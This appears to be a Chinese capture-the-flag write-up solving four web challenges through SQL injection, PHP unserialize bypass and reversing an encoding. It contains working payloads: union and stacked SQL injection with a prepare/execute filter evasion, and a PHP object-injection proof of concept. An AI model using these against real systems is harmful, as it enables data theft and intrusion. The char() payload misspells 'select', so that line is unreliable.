1、newscenter
(1)、访问网站,一个搜索栏,像是SQL注入漏洞,brup抓包尝试一下。
- 输入2/0、一个单引号、两个单引号、一个双引号、两个双引号等。
- 发现只有一个单引号时,响应包content-length字段有非常明显的变化为0。说明有可能是字符型,闭合方式为单引号。
- 尝试这个闭合方式的万能密码,1'+or+'a'='a'--+,发现并没有做太大的过滤
(2)、页面不显示报错信息,不能使用报错注入,其他可用。如联合注入。
(3)、联合注入:字段数、显示位--》数据库--》数据表--》数据(flag)
2、web_php_unserialize
(1)访问网站,是一段代码。代码审计
- 定义一个类和一个条件执行语句,像unserialize3加了base64编码和正则匹配
(2)POC:在线编码:在线运行PHP (bejson.com)
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$p=new Demo('fl4g.php');
$p=serialize($p); //序列化
$p=str_replace("O:4","O:+4",$p); //绕过正则匹配
$p=str_replace(":1:{",":2:{",$p); //wakeup绕过
$p=base64_encode($p); //base64编码
echo $p;
?>
(3)、使用get传值,获取flag
3、supersqli
(1)、访问网站,根据提示,是SQL注入漏洞
(2)、字符型注入,看报错信息是闭合方式为单引号,真如描述那样随便注
(3)、尝试获取表时,响应包看到正则匹配,过滤了语句
- preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
- 使用堆叠注入和show语句,如1';use supersqli;show tables;--+
- 查询表中的列时,需要使用反引号引起来,如1';show columns from `tableN`;--+
- 查询数据时,就不能使用show,可以使用MySQL预编译绕过。
- 1';prepare a from concat(char(115,101,108,99,116),' * from `tableN`');execute a;--+
- prepare ? from ?: 是MySQL中预编译语句,用于准备一个SQL语句
- execute ?:执行预编译的SQL语句
4、web2
(1)、提示,是逆向加密算法,解$miwen。代码审计
miwen:逆序--》每个字符转换成ASCII码后+1--》转回字符--》base64加密--》逆序--》rot13加密
解密:rot13解密--》逆序--》base64解密--》每个字符转换成ASCII码后-1--》转回字符--》逆序
(2)、代码,获取flag
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$miwen=base64_decode(strrev(str_rot13($miwen)));
$mingwen=$miwen;
for($i=0;$i<strlen($mingwen);$i++){
$m=substr($mingwen,$i,1);
$a=ord($m)-1;
$a=chr($a);
$c=$c.$a;
}
echo strrev($c);
?>